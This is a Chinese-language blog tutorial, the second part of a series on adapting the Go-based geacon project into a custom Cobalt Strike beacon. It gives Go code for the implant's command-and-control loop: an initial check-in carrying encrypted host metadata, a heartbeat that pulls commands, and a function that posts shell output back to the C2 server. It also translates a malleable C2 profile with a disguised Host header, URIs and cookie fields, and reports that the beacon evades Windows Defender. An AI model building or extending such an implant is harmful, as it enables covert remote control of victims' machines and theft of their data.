从零开始开发CS beacon(二)

 

0x01 geacon

​ 上一节中,我们已经比较了geacon与crossc2的优劣,选择了geacon。本节我们就具体修改geacon,适配自定义profile和杀软测试。

​ 根据readme编译beacontool,解析配置的公私钥对:

​ 修改config.go中的公钥与C2地址,私钥不用填。安装编译geacon,测试:

​ 可以发现正常上线,也没有被检测杀掉程序,在windows 10 defender下测试也是正常上线。

 

0x02 http通信

​ 要适配profile的不同通信请求,我们先看看geacon中通信基本的三个组成部分,通信流程使用伪代码表示:

ok = FirstBlood()                             #第一次上线
if ok:
    while true:
        resp = PullCommand()                   #心跳
            if resp:           
                cmdtype = decrypt(resp)         #获取到要执行的任务
                if cmdtype is shell:        #判断任务类型
                    buf = triggerShell(cmd) #执行对应使用golang自实现的函数
                    PushResult(buf)         #将结果发送到C2

从通信流程就可以看出来,整个通信主要在自己开发对应CS的功能,比如execute-assembly,由于CS采用fork方式不用担心beacon进程异常退出,dll 反射可以方便使用现有dll实现不同功能。

1.FirstBlood

func FirstBlood() bool {
    encryptedMetaInfo = EncryptedMetaInfo()
    for {
        resp := HttpGet(config.GetUrl, encryptedMetaInfo)
        if resp != nil {
            fmt.Printf("firstblood: %v\n", resp)
            break
        }
        time.Sleep(500 * time.Millisecond)
    }
    time.Sleep(config.WaitTime)
    return true
}

收集本机信息,RSA加密数据,get方式请求传输。

2.PullCommand

func PullCommand() *req.Resp {
    resp := HttpGet(config.GetUrl, encryptedMetaInfo)
    fmt.Printf("pullcommand: %v\n", resp.Request().URL)
    return resp
}

通过get方式一直保持心跳。

3.PushResult

func PushResult(b []byte) *req.Resp {
    url := config.PostUrl + strconv.Itoa(clientID)
    resp := HttpPost(url, b)
    fmt.Printf("pushresult: %v\n", resp.Request().URL)
    return resp
}

加密命令执行得到的结果发送到C2,不需要获取response。

 

0x03 自定义profile

我就选择此profile作为演示,我们根据官网手册手动翻译请求参数:

1.get请求

Client:

uri:/5aq/XP/SY75Qyw.htm

header:

"Accept":""*/*"
"Host":"fukuoka.cloud-maste.com"
"Connection":"Keep-Alive"
"Cache-Control":"no-cache"

cookie:CzFc6k28XGpZ=传输的数据

Server:

Beacon需要根据字符串提取CS下发的指令执行

添加header,把数据放入到cookie中,修改对应http.go中的Get请求与Post请求。

2.post请求

uri:/RCg/vp6rBcQ.htm

header:

"Accept":""*/*"
"Host":"fukuoka.cloud-maste.com"
"Connection":"Keep-Alive"
"Cache-Control":"no-cache"

cookie:hmr2In1XD14=传输的数据

这里还有一个ID值在URL的参数c中,由beacon生成,对应不同task:

id {
base64url;
parameter "c";
}

这里解释下base64url,base64:

base64编码后结果中有+、/、=这种在url中属于特殊字符无法传递,所以会对结果进行替换。

base64url其实就是把字符+和/分别变成-和_,末尾=号去掉。

在golang中分别对应4个base64函数:

StdEncoding:常规编码
URLEncoding:URL safe 编码
RawStdEncoding:常规编码,末尾不补 =
RawURLEncoding:URL safe 编码,末尾不补 =

 

0x04 总结

​ 我也才接触golang不久,主要通过阅读代码整个程序逻辑以及函数功能,geacon实现了CS整个通信流程,编写对应加解密代码,对原项目进行优化,整个项目代码会在下一章公布出来。

(完)